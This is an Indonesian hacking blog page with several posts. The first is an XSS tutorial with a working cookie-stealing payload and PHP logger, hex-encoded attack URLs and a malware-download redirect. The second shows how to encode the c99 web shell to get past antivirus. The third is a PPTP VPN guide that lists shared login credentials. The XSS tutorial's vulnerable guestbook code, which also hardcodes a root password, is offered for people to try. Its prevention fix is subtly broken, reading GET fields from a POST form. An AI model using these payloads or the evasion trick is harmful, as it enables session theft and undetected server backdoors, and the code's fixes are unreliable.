/>dan Persistent XSS. Penjelasan mengenai ketiga jenis teknik XSS tersebut adalah sebagai berikut<br /><br /><u><span style="color: red;">DOM BASED XSS</span></u><br />Dom based XSS terjadi karena adanya kesalahan yang dilakukan oleh programmer ketika<br />memprogram sebuah file yang disimpan pada local machine yang menjadi target eksploitasi.<br />Beberapa software third party yang dapat diinstall pada sebuah komputer umumnya melampirkan<br />sebuah file berbasis HTML yang berisikan README/HELP.<br />Celah keamanan ini akan diketemukan ketika sebuah software pada local machine tersebut dapat<br />dieksploitasi oleh peretas. Melakukan eksploitasi pada DOM based XSS umumnya hampir sama<br />dengan eksploitasi dengan non-persistent XSS.<br /><span style="color: red;"><br /></span><u><span style="color: red;">NON-PERSISTENT XSS</span></u><br />Non-persistent XSS kerap kali ditemui oleh kita pada aplikasi-aplikasi yang berbasis web. Hal ini<br />terjadi karena ada kesalahan dalam programming yang dilakukan oleh programmer dalam melakukan<br />filtrasi atas inputan-inputan yang dilakukan oleh user.<br />Sesuai dengan namanya, akibat yang ditimbulkan oleh serangan jenis ini hanya bersifat sementara<br />yaitu ketika user mengklik URI yang diberikan. Celah keamanan ini akan umumnya dapat dijumpai<br />pada website-website yang menyediakan fitur search terhadap sebuah konten.<br /><u><br /></u><u><span style="color: red;">PERSISTENT XSS</span></u><br />Persistent-XSS terjadi karena kecerobohan dari programmer saat menuliskan kode program yang<br />tidak melakukan filtrasi terhadap inputan yang diberikan oleh user dan dapat disimpan secara<br />permanen dalam sebuah website.<br />Umumnya hal ini terjadi pada aplikasi-aplikasi yang mengizinkan user menyimpan data secara bebas<br />dalam sebuah website. Aplikasi-aplikasi tersebut diantaranya adalah buku tamu (guestbook), forum<br />dan aplikasi sejenis lainnya.<br /><br />Akibat yang ditimbulkan<br />Umumnya celah keamanan ini akan lebih banyak menimpa client ketimbang server. Misalnya<br />seperti Cookie Stealing, Session Hijacking, Phising dan lain sebagainya.<br /><br /><u><span style="color: red;">Proof of Concept (PoC)</span></u><br />Dibawah ini dapat anda temukan tulisan yang menunjukkan Proof of Concept atau pembuktian dari<br />sederetan teori yang telah dijelaskan diatas, Pastikan Apache, MySQL dan PHP (AMP) telah terinstall<br />didalam PC anda sebelum mencoba PoC dibawah ini.<br /><u><br /></u><u><span style="color: red;">Non-Persistent and DOM XSS Attack</span></u><br />Seperti yang telah dipaparkan sebelumnya serangan DOM XSS dan Non-persistent XSS hampir<br />sama pola eksploitasinya. Untuk membantu dalam memahami pola serangan tersebut, dibawah ini<br />sudah di siapkan sebuah contoh code html/php sederhananya.<br /> buat <br /><br /><u>File: index.html</u><br /><br /><blockquote class="tr_bq"><html><br /><head><br /><title>Search Engine with XSS Vulnerability</title><br /></head><br /><body><br /><form method=”GET” action=”cari.php”><br /><input type=”text” size=”25” name=“key”><br /><input type=”submit” value=”Cari..”><br /></form><br /></body><br /></html></blockquote><u>File: cari.php</u><br /><br /><blockquote class="tr_bq"><?php<br />/* PHP Non-Persistent and DOM XSS Attack Code<br />** Programmer: Marion Renaldo Rotinsulu<br />** Date: 3rd May 2011<br />** Filename: cari.php<br />** Version: 1.0<br />** Description: File ini merupakan contoh sederhana dari aplikasi searching<br />dalam sebuah web.<br />*/<br />session_start();<br />$_SESSION[‘desc’] = “ujicoba dom dan non-persistent xss”;<br />if(isset($_GET[“key”])){<br />echo “<pre> Anda sedang mencari dengan kata kunci<br />”.$_GET[“key”].”…</pre>”;<br />}<br />?> </blockquote>Penjelasan:<br />Anda bayangkan sekarang anda sedang menggunakan search engine layaknya google. Dihalaman<br />utama google hanya ada sebuah halaman dengan 1 form untuk search dan 1 lagi button submitnya.<br />Didalam scenario kali ini kita namakan file tersebut adalah index.html. Untuk dapat memproses apa<br />yang anda inginkan tentunya butuh file yang bertindak sebagai processor. File tersebut dalam<br />scenario kali ini kita namakan cari.php.<br />Pada metode passing parameter dari box search di halaman index.html kita memilih untuk<br />menggunakan metode GET pada http, sehingga parameter yang akan kita kirimkan pada file cari.php<br />akan terlihat pada kolom url.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-2sD0YbTWHD0/UP_y1NQ5SyI/AAAAAAAAEnY/qBfIgllgoXs/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="http://3.bp.blogspot.com/-2sD0YbTWHD0/UP_y1NQ5SyI/AAAAAAAAEnY/qBfIgllgoXs/s1600/Capture.PNG" width="400" /></a></div><br /><br />Sebagai contoh kita akan mencari “Security” maka<br />setelah anda tekan tombol Cari di halaman index.html,<br />anda akan diantarkan pada halaman cari.php dan di<br />browser akan ada tulisan sebagai berikut: Anda<br />Sedang mencari dengan kata kunci Security…<br />Selanjutnya mari kita perhatikan kolom url pada<br />browser, maka aka nada tulisan sebagai berikut:<br /><span style="color: red;">http://localhost/cari.php?key=Security.</span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-0GCS6gQcU0k/UP_zECi5oeI/AAAAAAAAEng/euqAGhAFR3Y/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="http://2.bp.blogspot.com/-0GCS6gQcU0k/UP_zECi5oeI/AAAAAAAAEng/euqAGhAFR3Y/s1600/Capture.PNG" width="400" /></a></div><span style="color: red;"> </span> <br />Jika kita lihat pada source code cari.php, programmer tidak melakukan filtering terhadap inputan yang<br />diberikan oleh pengguna. Sehingga, apapun yang kalian cantumkan akan dieksekusi oleh php script.<br />Sekarang, coba kalian ganti kata <span style="color: red;">Security</span> pada url dengan <script>alert(“ih Wow!)</script>. Yang<br />akan terjadi adalah box alert akan muncul pada browser dengan tulisan “ih Wow!”.<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-A1B2cSwPiRY/UP_zdgU_coI/AAAAAAAAEno/Qar8ZUlsMEM/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="http://1.bp.blogspot.com/-A1B2cSwPiRY/UP_zdgU_coI/AAAAAAAAEno/Qar8ZUlsMEM/s1600/Capture.PNG" width="400" /></a></div>Ketika halaman cari.php dapat melakukan eksekusi terhadap inputan javascript diatas, artinya<br />halaman website tersebut vulnerable terhadap serangan yang dinamakan XSS. Namun, bagaimana<br />untuk menggunakan vulnerable XSS ini untuk melakukan kejahatan? Jawaban: dengan<br />memanfaatkan kode javascript. Berikut beberapa contoh pemanfaat XSS yang populer (Cookie<br />Stealing, URL Redirection/Phising).<br /><br /><u><span style="color: red;">Cookie Stealing</span></u><br />Cookie stealing digunakan untuk mencuri cookie yang ada pada komputer client, yang dapat<br />dimanfaatkan untuk kejahatan session hijacking dan akhirnya berujung pada login bypass. Untuk<br />melakukan cookie stealing bisa dilakukan dengan cara sebagai berikut:<br /><br />Skenario:<br />Di website http://localhost/xss/ sudah diketemukan bahwa website tersebut memiliki vulnerability xss.<br />Website ini banyak diakses oleh user diberbagai dunia sehingga, seorang attacker akan melakukan<br />aksinya guna mencuri cookie yang ada pada computer user.<br />Langkah awal sang attacker membuat dua file yaitu payload.js dan cookie.php. payload.js adalah file<br />yang akan di embed kedalam URI website http://localhost/xss/ sedangkan file cookie.php akan<br />disimpan di dalam server yang dimiliki oleh sang attacker. Dibawah ini dapat ditemukan script yang<br />dibuat oleh sang attacker untuk mencuri cookie pada computer user.<br /><br /><u>payload.js </u><br /><blockquote class="tr_bq">// JavaScript Document<br />document.location="http://localhost/cookie/cookie.php?c="+document.cookie</blockquote><u>cookie.php </u><br /><blockquote class="tr_bq"><?php<br />/*Cookie Stealer*/<br />$f=fopen('cookie.txt','a');<br />$date = date("j F, Y, g:i a");<br />$referer = getenv('HTTP_REFERER');<br />fwrite($f, "IP Address : ".$_SERVER['REMOTE_ADDR']."\n".<br />"Cookie : ".$_GET['c']."\n".<br />"Date/Time : ".$date."\n".<br />"Referer : ".$referer."\n".<br />"User Agent : ".$_SERVER['HTTP_USER_AGENT']."\n\n\n");<br />fclose($f);<br />?> </blockquote>Penjelasan baris per baris dari code yang saya tuliskan diatas tidak akan saya jelaskan didalam<br />tulisan ini, karena untuk menjelaskannya sendiri membutuhkan waktu yang lumayan lama. Untuk<br />dapat melakukan pencurian cookie, kita akan melakukan embedding file javascript kedalam URI<br />sehingga menjadi seperti berikut :<br /><span style="color: red;">http://localhost/xss/cari.php?key=<script src="http://localhost/cookie/payload.js"></script> </span><br /><br />Namun jika URI seperti diatas akan diberikan kepada user, tentunya user akan menaruh kecurigaan.<br />Sehingga perlu dilakukan encode kedalam bentuk heksadesimal. Untuk melakukan encode ke dalam<br />hexadecimal, saya menggunakan tools yang telah ada di <a href="http://ha.ckers.org/xss.html.">http://ha.ckers.org/xss.html.</a> URI diatas akan<br />menjadi seperti berikut ini:<br /><br />http://localhost/xss/cari.php?key=%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74<br />%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%63%6F%6F%6B%69%65%2F<br />%70%61%79%6C%6F%61%64%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E<br /><br />Sebelum anda melakukan serangan pastikan dua hal dibawah ini:<br />1. Folder tempat anda menyimpan file cookie nanti dapat ditulis oleh user apache. Pada contoh kali<br />ini saya meletakkan file cookie didalam folder yang sama dengan script phpnya.<br />2. Jika webserver anda linux, pastikan user apache diberikan privileges/izin untuk menulis difolder<br />tersebut. Amannnya di change modenya menjadi Read Write Execute oleh semua user, namun<br />jangan diletakkan difolder yang dapat diakses melalui website.<br />Setelah url berhasil di encode dan dilakukan eksekusi oleh user pada browsernya, maka cookie yang<br />ada di client akan disimpan pada file cookie.txt pada server attacker. Adapun dokumen cookie yang<br />tersimpan pada server isinya ditunjukkan pada gambar dibawah ini:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-vJ8GFkQgm6g/UP_3GbYi9FI/AAAAAAAAEpY/T6okeMNrp6g/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="http://2.bp.blogspot.com/-vJ8GFkQgm6g/UP_3GbYi9FI/AAAAAAAAEpY/T6okeMNrp6g/s1600/Capture.PNG" width="400" /></a></div><u><span style="color: red;">URL Redirection</span></u><br />Teknik yang digunakan dalam url redirection hampir sama dengan teknik cookie stealing. Tujuan dari<br />attacker menggunakan url redirection adalah menginginkan user membuka halaman palsu untuk login<br />biasa dikenal dengan istilah phising atau menginginkan user mendownload sesuatu ke dalam<br />komputernya seperti virus, worm, dan sebagainya.<br /><br />Apa yang harus dimodifikasi dari yang telah kita buat dalam payload.js? yang kita akan modifikasi<br />adalah file yang akan kita berikan ketika user membuka url yang kita berikan. Untuk lebih<br />menggambarkan modifikasi tersebut, dapat diperhatikan contoh dibawah ini:<br />Attacker menginginkan user membuka url dan mendownload wormtail.exe yang merupakan virus<br />ganas kedalam komputernya. Maka modifikasi yang dilakukan oleh sang attacker dalam file<br />payload.js adalah<br /><span style="color: red;">document.location= “http://www.example.com/wormtail.exe”</span><br /><br />Persistent XSS Attack<br />Serangan jenis ini bersifat permanen karena attacker dapat menyimpan codenya kedalam database<br />website. Sangat sering dijumpai pada website yang ada guestbook ataupun shout box yang dibuat<br />tanpa memfilter inputan yang diberikan.<br />Untuk lebih menjelaskan tentang serangan jenis ini, kita akan membuat sebuah aplikasi guestbook<br />sederhana. Aplikasi ini kemudian diexploit oleh attacker dengan menggunakan teknik persistent XSS<br />attack.<br />Untuk membuat aplikasi guestbook ini, kita akan membuat 3 file utama yaitu form<br />guestbook(<span style="color: red;">guestbook.html</span>), user interface untuk melakukan viewing guestbook(<span style="color: red;">view_guestbook.php</span>),<br />dan file yang berfungsi untuk menangani proses penyimpanan ke dalam database(<span style="color: red;">guestbook.php</span>).<br /><br /><u>guestbook.html</u><br /><blockquote class="tr_bq"><html><br /><head><br /><title>Buku Tamu</title><br /></head><br /><body><br /><form method="post" action="guestbook.php"><br /><table border="0" align="center" cellpadding="0" cellspacing="0"<br />width="300px"><br /><tr><br /><td>Nama</td><br /><td>:</td><br /><td><input type="text" name="nama" size="15"></td><br /></tr><br /><tr><br /><td valign="top">Pesan</td><br /><td valign="top">:</td><br /><td valign="top"><textarea name="pesan" cols="25"<br />rows="12"></textarea></td><br /></tr><br /><tr><br /><td colspan="3" align="center"><input type="submit"<br />value="Simpan!"></td><br /></tr><br /></table><br /></form><br /></body><br /></html></blockquote><u>view_guestbook.php </u><br /><blockquote class="tr_bq">/* PHP View Guestbook Code<br />** Programmer: Marion Renaldo Rotinsulu<br />** Date: 5th May 2011<br />** Filename: view_guestbook.php<br />** Version: 1.0<br />** Description: File ini merupakan contoh sederhana dari aplikasi view<br />guestbook dalam sebuah web.<br />*/<br /><html><br /><head><br /><title>ISI BUKU TAMU</title><br /></head><br /><body><br /><table border="1" cellpadding="5" cellspacing="3" style="bordercollapse:<br />collapse"><br /><tr><td>Ke</td><td>Nama</td><td>Pesan</td><br /><?php<br />mysql_connect("localhost","root","marionaja");<br />mysql_select_db("test");<br />$query= mysql_query("SELECT * FROM bukutamu");<br />while(($result = mysql_fetch_object($query))){<br />echo "<tr><td>".$result->id."</td><td>".$result-<br />>nama."</td><td>".$result->pesan."</td></tr>";<br />}<br />?><br /></table><br /></body><br /></html></blockquote><u>guestbook.php </u><br /><blockquote>/* PHP Guestbook Code<br />** Programmer: Marion Renaldo Rotinsulu<br />** Date: 5th May 2011<br />** Filename: view_guestbook.php<br />** Version: 1.0<br />** Description: File ini akan menangani “penyimpanan” data kedalam website.<br />*/<br /><?php<br />$nama = $_POST["nama"];<br />$pesan = $_POST["pesan"];<br />mysql_connect("localhost","root","marionaja");<br />mysql_select_db("test");<br />mysql_query("INSERT INTO `bukutamu` VALUES<br />('','".$nama."','".$pesan."')");<br />?></blockquote> Pada script diatas, anda dimungkinkan untuk melakukan submit pada aplikasi guestbook seperti<br /><script>alert(‘test’);</script> dan itu akan disimpan permanent di dalam database.<br />Akibatnya, setiap kali anda akan membuka halaman view_guestbook kotak alert akan selalu keluar<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-HaYmdz2-foM/UP_4Yp6XbdI/AAAAAAAAErI/6lHzVY6_eX8/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="http://2.bp.blogspot.com/-HaYmdz2-foM/UP_4Yp6XbdI/AAAAAAAAErI/6lHzVY6_eX8/s1600/Capture.PNG" width="400" /></a></div>Akibat yang lebih parah dari adanya kerentanan ini adalah cookie stealing. Tekniknya sama seperti<br />diatas hanya saja kita akan memasukkan payload yang telah kita buat pada non-persistent xss untuk<br />disimpan pada buku tamu yang kita buat saat ini.<br /><br /><u><span style="color: red;">Pencegahan</span></u><br />Pencegahan utama dari vulnerability XSS ini adalah melakukan filter terhadap inputan yang diberikan<br />user. Tanpa adanya filter input pada aplikasi, vulnerability ini tetap berbahaya.<br />Pada aplikasi berbasis php gampangnya kita menggunakan fungsi strip_tags() untuk melakukan<br />filtering terhadap simbol2 inputan user yang dapat menimbulkan xss. Pada script guestbook.php<br />diatas inputan nama/pesan diubah menjadi berikut<br /><blockquote class="tr_bq">$nama = strip_tags($_GET[“nama”]);<br />$pesan = strip_tags($_GET[“pesan”]);</blockquote>Ada juga cara lain yang dapat digunakan untuk melakukan filter input. Cara ini agak rumit karena kita<br />harus belajar cara penulisannya. Cara yang saya maksudkan adalah Regular Expression (RegEx<br /><baca:regex>). Pada tulisan kali ini saya tidak akan membahas tentang regex, karena membahas<br />regex sama halnya dengan menuliskan artikel yang baru.<br /><br /><span style="color: red;"><u>Kesimpulan </u></span><br /><br />Dari apa yang ada pada tulisan ini kesimpulan yang dapat kita ambil adalah Cross Site Scripting tidak<br />membahayakan server, namun yang menjadi ancaman utama dari serangan ini adalah Client/User.

Tutorial dasar xss

Cross Site Scripting atau biasa dikenal dengan XSS merupakan salah satu vulnerability pada website yang kerap kali dapat ditemukan pada apli...

Read more »

Membuat shell backdoor tidak terdeterksi Anti-virus

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://us.123rf.com/400wm/400/400/carbouval/carbouval1206/carbouval120600009/14167759-virus-scan.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://us.123rf.com/400wm/400/400/carbouval/carbouval1206/carbouval120600009/14167759-virus-scan.jpg" width="320" /></a></div>"to the point" aja :<br />disini saya asumsikan bahwa shell/backdoor yang kita gunakan nanti adalah berbasis PHP (script php)<br /><br />contohnya: <span style="font-weight: bold;">c99</span> (saya gunakan ini)<br />c99.php bisa di download <a href="https://dl.dropboxusercontent.com/s/0f8scmvbslrdrcp/Top%20103%20shells.rar?token_hash=AAHSDNEmS6xD6Pvmqx9-W2xeDhkYLw5naO2ga9GQouiW1g&dl=1" target="_blank">c99shell collection</a><br /><br />tentu saja script tersebut jika di-scan dengan antivirus bakalan dikenali sebagai trojan/backdoor/phpshell dan semacamnya.<br />tentunya umur dari shell yang akan kita pasang nantinya gak akan bertahan lama jika server menggunakan<br />antivirus<br /><br />saya scan di <a href="http://www.virustotal.com/" target="_blank">virustotal.com</a><br />dan hasilnya:<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf3_eqsBZtTQf9vainNb9gkXdK_VEWA-mnGKoFNz2vvVVMnWQWhiHH1WGTqHTWtDYJ5fLluSJ4BKGUPy8VnuUIwDRAk8RTxRztkxcSP5rIBwHjWVfL-uMjqtxNwFJvOY3Kli_C2EWgIQU/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf3_eqsBZtTQf9vainNb9gkXdK_VEWA-mnGKoFNz2vvVVMnWQWhiHH1WGTqHTWtDYJ5fLluSJ4BKGUPy8VnuUIwDRAk8RTxRztkxcSP5rIBwHjWVfL-uMjqtxNwFJvOY3Kli_C2EWgIQU/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div> lalu bagaimana supaya gak terdeteksi??<br />Hehehe..<br /><br />script shell yang saya dunlut tadi (c99.txt) tentunya masih telanjang yang sangat gampang untuk di deteksi oleh AV..<br />jadi untuk mengecoh AV saya akan mencoba untuk meng-encode script shell tersebut (mungkin bisa dibilang enkripsi kalee ya)<br />untuk cara cepatnya saya gunakan PHP Encoder online <br />salah satunya: <a href="http://www.phpshadow.com/online-encoder.php" target="_blank">http://www.phpshadow.com/online-encoder.php</a><br /><br />tinggal kita masukkan disana source dari script shell yang kita gunakan kemudian klik tombol encode :blink:<br /><br />copas deh tuw hasil encode nya n simpen extensi .php/.txt/.jpg ato apalah yang biasa anda gunakan...<br /><br />kemudian coba scan lagi dengan AV, saya coba lagi di virustotal.com<br />dan hasilnya:<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif58J79TDTl1zOYhTW0NJ9Fu3ZEQ12YvxdnpmSiV9t6dOEWistuoclp_GgMzFAu8LJidbELCHM2GJil5GgQeZhGuhjw6pdbPM0qP-75PhCQLF_353vd_VLHJUddNHZP_kaml6sz9_y4-c/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif58J79TDTl1zOYhTW0NJ9Fu3ZEQ12YvxdnpmSiV9t6dOEWistuoclp_GgMzFAu8LJidbELCHM2GJil5GgQeZhGuhjw6pdbPM0qP-75PhCQLF_353vd_VLHJUddNHZP_kaml6sz9_y4-c/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div> bisa dibilang 99% AV terkecoh dan tidak mengenali shell/BD yang sudah di encode tadi :P<br /><br />semoga bermanfaat.... </div>

Membuat shell backdoor tidak terdeterksi Anti-virus

"to the point" aja : disini saya asumsikan bahwa shell/backdoor yang kita gunakan nanti adalah berbasis PHP (script php) contohnya...

Read more »

Cara menggunkan VPN

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="http://wiki.hidemyass.com/images/manual/vpn-logo1.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://wiki.hidemyass.com/images/manual/vpn-logo1.gif" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div style="text-align: justify;">VPN adalah singkatan dari <b>Virtual Private Network</b>, yaitu sebuah cara aman untuk mengakses local area network yang berada diluar jangkauan, dengan menggunakan internet atau jaringan umum lainnya untuk melakukan transmisi paket data secara pribadi, dan terenkripsi. Sedangkan PPTP adalah singkatan dari <b>Point-to-Point Tunneling Protocol</b>, dan merupakan sebuah metode dalam implementasi penggunaan VPN. Pembahasan PPTP memang sedikit lebih teknis, dan kita tidak membahasnya disini.</div><div style="text-align: justify;"><span id="more-1785"></span>VPN biasanya digunakan untuk menghubungkan kantor-kantor yang tersebar dibeberapa tempat dengan menggunakan akses internet. Namun, VPN juga dapat digunakan untuk keperluan lain, seperti anonimity (menyembunyikan identitas) atau mem-bypass firewall (termasuk mem-bypass content filtering).</div><div style="text-align: justify;">VPN komersial, biasanya menggunakan aplikasi khusus untuk melakukan koneksi VPN, dan menurut saya penggunaannya kurang simpel, karena aplikasi tersebut harus di instal kedalam komputer. Oleh karena itu, saya lebih memilih VPN dengan dukungan PPTP, karena kita dapat menghubungkan komputer langsung ke jaringan VPN tanpa menggunakan aplikasi tambahan.</div><div style="text-align: justify;">Ada beberapa situs yang menyediakan VPN gratis dengan dukungan PPTP, antara lain :</div><ul style="text-align: justify;"><li><a href="http://superfreevpn.com/" target="_blank">http://superfreevpn.com</a>/</li><li><a href="http://www.bestukvpn.com/" target="_blank">http://www.bestukvpn.com</a>/</li></ul>atau pengen yang free dan kecepatanya wush wush bisa iat user n pass di<br /><ul><li><a href="http://www.vpnbook.com/#pricing" target="_blank">http://www.vpnbook.com/#pricing </a></li></ul><br /><div style="text-align: justify;">Dalam tutorial VPN dengan PPTP ini, saya menggunakan komputer berbasis Windows 7. Sehingga pengaturannya mungkin akan sedikit berbeda jika anda menggunakan sistem operasi lainnya.<br />dan saya mengambi data free dari  <a href="http://www.vpnbook.com/#pricing" target="_blank">http://www.vpnbook.com/#pricing </a><br /><blockquote class="tr_bq"><b><span style="color: red;">Server #1 (Romania)</span></b><br />I.P: <b>euro1.vpnbook.com</b><br />Username: <b>pptp</b><br />Password: <b>9jHbfKiN</b><b><span style="color: red;"> </span></b><br /><br /><b><span style="color: red;">Server #2 (Romania)</span></b><br /><b><span style="color: red;"> </span></b>I.P: <b>euro2.vpnbook.com</b><br /><b> </b>Username: <b>pptp</b><br />Password: <b>9jHbfKiN</b><b><span style="color: red;"> </span></b></blockquote><div class="separator" style="clear: both; text-align: center;"></div><br /><b>Langkah-langkah melakukan koneksi VPN dengan PPTP?</b></div><b></b>Terlebih dahulu kunjungi salah satu website diatas, kemudian catat VPN server, username dan password-nya. Dalam contoh berikut kita akan menggunakan VPN dvildance<br /><br />Selanjutnya, bukalah <b>Control Panel</b> dari Start Menu, kemudian pilih  ”<b>View network status and tasks</b>” dibawah kategori “Network and Internet”.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJHCx3mh5NsIhGsE1y5EYEezd81Zg8IXzzrZf3NeMge8I2iJr0SNMgUApc29NN972BntqBveZ-Y5XJhS6JhD58ifbY9abXFyO5mhVxEnOnwP1eTtJH8Njf9IXAOgTIX56yRnh6UgrdVE/s1600/vpn-01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQJHCx3mh5NsIhGsE1y5EYEezd81Zg8IXzzrZf3NeMge8I2iJr0SNMgUApc29NN972BntqBveZ-Y5XJhS6JhD58ifbY9abXFyO5mhVxEnOnwP1eTtJH8Njf9IXAOgTIX56yRnh6UgrdVE/s1600/vpn-01.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div> Kemudian, klik pada pilihan “<b>Setup a new connection or network</b>“<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0NAoTuK_IE74IMqxaug9wdbSrrJU-seIxn6-nfQDWoBphKuNvEUIs7z3mI20BzGlcb9IS5XBWwtVNpRgQZrChcuA5gmPpIGLqiKMncOvYAHQmK0c5R_PvbtUYVXrao0QpznlWU5regc/s1600/vpn-02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB0NAoTuK_IE74IMqxaug9wdbSrrJU-seIxn6-nfQDWoBphKuNvEUIs7z3mI20BzGlcb9IS5XBWwtVNpRgQZrChcuA5gmPpIGLqiKMncOvYAHQmK0c5R_PvbtUYVXrao0QpznlWU5regc/s1600/vpn-02.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div> Pilih pada “<b>Connect to a workplace</b>“, kemudian pilih Next.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUe9bi8h8OLT5NsP6v-TmSLQ09AiqqSWAOBS0trYlro0K02yJFKQvumcu7zcbK4ch-h6Of7Mexhckqrzyil4fuwAD0mjNQGwEBuCA341lSgkHIFNP_Trz655QNUSgQF6nXu05Jv7HApog/s1600/vpn-03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUe9bi8h8OLT5NsP6v-TmSLQ09AiqqSWAOBS0trYlro0K02yJFKQvumcu7zcbK4ch-h6Of7Mexhckqrzyil4fuwAD0mjNQGwEBuCA341lSgkHIFNP_Trz655QNUSgQF6nXu05Jv7HApog/s1600/vpn-03.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div> Langkah selanjutnya, pilih “<b>No, create a new connection</b>“, kemudian Next.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pdX59TVZ2TmwJRa1WeqbOYLsVKr4macCZ6As4kwPNi2V4TZeBko9pU6JVwQvxn1UdMHxm-4tXV5DD9Eb2UjvdliQd659GrKM3iJ0jem6as-wXEcHfG8WV9MzQdW0f0K0PQ0p-s94lqM/s1600/vpn-04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pdX59TVZ2TmwJRa1WeqbOYLsVKr4macCZ6As4kwPNi2V4TZeBko9pU6JVwQvxn1UdMHxm-4tXV5DD9Eb2UjvdliQd659GrKM3iJ0jem6as-wXEcHfG8WV9MzQdW0f0K0PQ0p-s94lqM/s1600/vpn-04.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div> Selanjutnya, pilih “<b>Use my internet connection (VPN)</b>“<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIu-0S5UHgUgFy8W9ANZiDrk0XK2d2cv-GRovkozFbvqvTsnFc88A1oUmSLvcpU5samo1T1tI8N6yi_xz_VPbOdwh4uuNgLy3qOm1AtFZApYS_5hG0l1lesGLH6-f1G8t1ckA3_L9dW-s/s1600/vpn-05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIu-0S5UHgUgFy8W9ANZiDrk0XK2d2cv-GRovkozFbvqvTsnFc88A1oUmSLvcpU5samo1T1tI8N6yi_xz_VPbOdwh4uuNgLy3qOm1AtFZApYS_5hG0l1lesGLH6-f1G8t1ckA3_L9dW-s/s1600/vpn-05.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div> Pada bagian <b>Internet address</b> isikan dengan VPN server yang dicatat sebelumnya, dan untuk<b> Destination name</b> isikan terseraqh anda , dan tandai pada “Don’t connect now”.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY2klP_93XfvEtCpFBC9qdp7z-4tklzScmVbD0uz47jn57ch0A4I2MciBazYBKA6nRrMP1iOBmCulL8pnR46z2CQfwEcl_iNMw7L6ok4rfEFp6kz9X5sQsJgKtQ5wys6u55rxLoY82lCI/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY2klP_93XfvEtCpFBC9qdp7z-4tklzScmVbD0uz47jn57ch0A4I2MciBazYBKA6nRrMP1iOBmCulL8pnR46z2CQfwEcl_iNMw7L6ok4rfEFp6kz9X5sQsJgKtQ5wys6u55rxLoY82lCI/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div> Kemudian, pada bagian <b>username</b> isikan “ <b>pptp</b>”, untuk <b>password</b> biarkan kosong (karena password akan berubah secara berkala)atau kalau password tidak pernah berubah masukkan saja  tidak apa apa <b>9jHbfKiN</b><b><span style="color: red;"> </span></b>, kemudian pilih “Create”.<br /><div class="separator" style="clear: both; text-align: center;"><a 